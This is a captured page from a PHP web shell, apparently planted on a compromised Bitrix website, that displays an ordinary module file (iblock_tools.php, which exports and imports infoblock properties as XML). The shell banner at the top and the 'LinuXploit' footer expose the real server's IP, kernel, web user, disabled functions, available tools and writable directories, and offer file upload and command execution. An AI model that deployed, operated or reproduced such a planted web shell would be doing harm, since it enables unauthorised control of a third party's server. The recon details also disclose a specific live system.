%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.217.193.85
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/asd.iblock/classes/general/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/asd.iblock/classes/general/iblock_tools.php
<?php

class CASDiblockTools {

	public static $arNotExport = array('ID', 'TIMESTAMP_X', 'IBLOCK_ID', 'TMP_ID', 'EXTERNAL_ID', 'PROPERTY_ID', 'PROPERTY_NAME', 'PROPERTY_SORT');

	public static function ExportSettingsToXML($BID, $arWhat) {
		$xml = '';
		if ($BID>0 && is_array($arWhat) && !empty($arWhat)) {
			if (in_array('forms', $arWhat)) {
				$element = CUserOptions::GetOption('form', 'form_element_'.$BID, null);
				if (!empty($element) && is_array($element)) {
					$xml .= '<form_element>';
					$xml .=		'<![CDATA['.array_pop($element).']]>';
					$xml .= '</form_element>'."\n";
				}
				unset($element);
				$section = CUserOptions::GetOption('form', 'form_section_'.$BID, null);
				if (!empty($section) && is_array($section)) {
					$xml .= '<form_section>';
					$xml .=		'<![CDATA['.array_pop($section).']]>';
					$xml .= '</form_section>'."\n";
				}
			}
		}
		return $xml;
	}

	public static function ExportPropsToXML($BID, $arOnlyID=array()) {
		$xml = '';
		if (empty($arOnlyID)) {
			$arOnlyID = $_REQUEST['p'];
		}
		if ($BID>0 && CModule::IncludeModule('iblock')) {
			$xml .= "\t".'<props>'."\n";
			$arExported = array();
			$arCData = array('NAME', 'DEFAULT_VALUE', 'XML_ID', 'FILE_TYPE', 'USER_TYPE_SETTINGS', 'HINT', 'VALUE');
			$rsProp = CIBlockProperty::GetList(array(), array('IBLOCK_ID' => $BID));
			while ($arProp = $rsProp->Fetch()) {
				if (!empty($arOnlyID) && !isset($arOnlyID[$arProp['ID']])) {
					continue;
				}
				$arExported[] = $arProp['CODE'];
				$xml .= "\t\t".'<prop>'."\n";
				foreach ($arProp as $k => $v) {
					if ($k == 'ID') {
						$k = 'OLD_ID';
					}
					if (in_array($k, self::$arNotExport)) {
						continue;
					}
					if (in_array($k, $arCData) && trim($v) !== '') {
						$v = '<![CDATA['.$v.']]>';
					}
					$xml .= "\t\t\t".'<'.mb_strtolower($k).'>'.$v.'</'.mb_strtolower($k).'>'."\n";
				}
				$xml .= "\t\t".'</prop>'."\n";
			}
			$xml .= "\t".'</props>'."\n";
			$xml .= "\t".'<enums>'."\n";
			$rsProp = CIBlockPropertyEnum::GetList(array(), array('IBLOCK_ID' => $BID));
			while ($arProp = $rsProp->Fetch()) {
				if (!in_array($arProp['PROPERTY_CODE'], $arExported)) {
					continue;
				}
				$xml .= "\t\t".'<enum>'."\n";
				foreach ($arProp as $k => $v) {
					if (in_array($k, self::$arNotExport)) {
						continue;
					}
					if (in_array($k, $arCData) && trim($v) !== '') {
						$v = '<![CDATA['.$v.']]>';
					}
					$xml .= "\t\t\t".'<'.mb_strtolower($k).'>'.$v.'</'.mb_strtolower($k).'>'."\n";
				}
				$xml .= "\t\t".'</enum>'."\n";
			}
			$xml .= "\t".'</enums>'."\n";
		}
		return $xml;
	}

	public static function ImportFormsFromXML($BID, $xmlPath, $arOldNewID) {
		if (file_exists($xmlPath) && $BID && CModule::IncludeModule('iblock')) {
			require_once($_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/main/classes/general/xml.php');
			$xml = new CDataXML();
			if ($xml->Load($xmlPath)) {
				if ($node = $xml->SelectNodes('/asd_iblock_props/form_element/')) {
					$tabs = $node->textContent();
					foreach ($arOldNewID as $old => $new) {
						$tabs = str_replace('--PROPERTY_'.$old.'--', '--PROPERTY_'.$new.'--', $tabs);
					}
					$arOptions = array(array(
						'd' => 'Y',
						'c' => 'form',
						'n' => 'form_element_'.$BID,
						'v' => array('tabs' => $tabs)
					));
					CUserOptions::SetOptionsFromArray($arOptions);
				}
				if ($node = $xml->SelectNodes('/asd_iblock_props/form_section/')) {
					$tabs = $node->textContent();
					$arOptions = array(array(
						'd' => 'Y',
						'c' => 'form',
						'n' => 'form_section_'.$BID,
						'v' => array('tabs' => $tabs)
					));
					CUserOptions::SetOptionsFromArray($arOptions);
				}
			}
		}
	}

	public static function ImportPropsFromXML($BID, $xmlPath, &$arOldNewID) {
		if (file_exists($xmlPath) && $BID && CModule::IncludeModule('iblock')) {

			require_once($_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/main/classes/general/xml.php');

			$arExistProps = array();
			$rsProp = CIBlockProperty::GetList(array(), array('IBLOCK_ID' => $BID));
			while ($arProp = $rsProp->Fetch()) {
				$arExistProps[$arProp['CODE']] = $arProp;
			}

			$arExistEnums = array();
			$rsEnum = CIBlockPropertyEnum::GetList(array(), array('IBLOCK_ID' => $BID));
			while ($arEnum = $rsEnum->Fetch()) {
				$arExistEnums[$arEnum['PROPERTY_ID'].'_'.$arEnum['XML_ID']] = $arEnum;
			}

			$arOldNewID = array();
			$xml = new CDataXML();
			$ep = new CIBlockProperty();
			$en = new CIBlockPropertyEnum();
			if ($xml->Load($xmlPath)) {
				if ($node = $xml->SelectNodes('/asd_iblock_props/props/')) {
					foreach ($node->children() as $child) {
						$childData = $child->__toArray();
						$arProp = array_pop($childData);
						$arFields = array('IBLOCK_ID' => $BID);
						foreach ($arProp as $code => $v) {
							$arFields[mb_strtoupper($code)] = isset($v[0]['#']['cdata-section']) && is_array($v[0]['#']['cdata-section']) ? $v[0]['#']['cdata-section'][0]['#'] : $v[0]['#'];
						}
						if (isset($arExistProps[$arFields['CODE']])) {
							$arOldNewID[$arFields['OLD_ID']] = $arExistProps[$arFields['CODE']]['ID'];
							$ep->Update($arExistProps[$arFields['CODE']]['ID'], $arFields);
						} else {
							$arOldNewID[$arFields['OLD_ID']] = $arFields['ID'] = $ep->Add($arFields);
							$arExistProps[$arFields['CODE']] = $arFields;
						}
					}
				}
				if ($node = $xml->SelectNodes('/asd_iblock_props/enums/')) {
					foreach ($node->children() as $child) {
						$childData = $child->__toArray();
						$arProp = array_pop($childData);
						$arFields = array('IBLOCK_ID' => $BID);
						foreach ($arProp as $code => $v) {
							$arFields[mb_strtoupper($code)] = isset($v[0]['#']['cdata-section']) && is_array($v[0]['#']['cdata-section']) ? $v[0]['#']['cdata-section'][0]['#'] : $v[0]['#'];
						}
						$arFields['PROPERTY_ID'] = $arExistProps[$arFields['PROPERTY_CODE']]['ID'];
						if (isset($arExistEnums[$arFields['PROPERTY_ID'].'_'.$arFields['XML_ID']])) {
							$en->Update($arExistEnums[$arFields['PROPERTY_ID'].'_'.$arFields['XML_ID']]['ID'], $arFields);
						} else {
							$en->Add($arFields);
						}
					}
				}
			}
		}
	}

	public static function GetIBUF($BID, $CODE=false) {
		global $USER_FIELD_MANAGER, $APPLICATION;
		$arReturn = array();
		$arUserFields = $USER_FIELD_MANAGER->GetUserFields(CASDiblock::$UF_IBLOCK, $BID, LANGUAGE_ID);
		foreach($arUserFields as $FIELD_NAME => $arUserField) {
			if ($arUserField['USER_TYPE_ID'] == 'enumeration') {
				$arValue = array();
				$rsSecEnum = CUserFieldEnum::GetList(array('SORT' => 'ASC', 'ID' => 'ASC'), array('USER_FIELD_ID' => $arUserField['ID'], 'ID' => $arUserField['VALUE']));
				while ($arSecEnum = $rsSecEnum->Fetch()) {
					$arValue[$arSecEnum['ID']] = $arSecEnum['VALUE'];
				}
				$arReturn[$FIELD_NAME] = $arValue;
			} else {
				$arReturn[$FIELD_NAME] = $arUserField['VALUE'];
			}
		}
		return $CODE===false ? $arReturn : $arReturn[$CODE];
	}

	public static function SetIBUF($BID, $arFields) {
		global $USER_FIELD_MANAGER;
		$USER_FIELD_MANAGER->Update(CASDiblock::$UF_IBLOCK, $BID, $arFields);
	}
}

class CASDIblockElementTools {
	/**
	 * Get seo field templates.
	 *
	 * @param int $iblockId			Iblock ID.
	 * @param int $elementId		Element ID.
	 * @param bool $getAll			Get with inherited.
	 * @return array
	 */
	public static function getSeoFieldTemplates($iblockId, $elementId, $getAll = false) {
		$result = array();

		if (!CASDiblockVersion::checkMinVersion('14.0.0')) {
			return $result;
		}

		$getAll = ($getAll === true);
		$seoTemplates = new \Bitrix\Iblock\InheritedProperty\ElementTemplates($iblockId, $elementId);
		$elementTemplates = $seoTemplates->findTemplates();
		if (empty($elementTemplates) || !is_array($elementTemplates)) {
			return $result;
		}
		foreach ($elementTemplates as &$fieldTemplate) {
			if (!$getAll && (!isset($fieldTemplate['INHERITED']) || $fieldTemplate['INHERITED'] !== 'N')) {
				continue;
			}
			$result[$fieldTemplate['CODE']] = $fieldTemplate['TEMPLATE'];
		}
		unset($fieldName, $data);

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit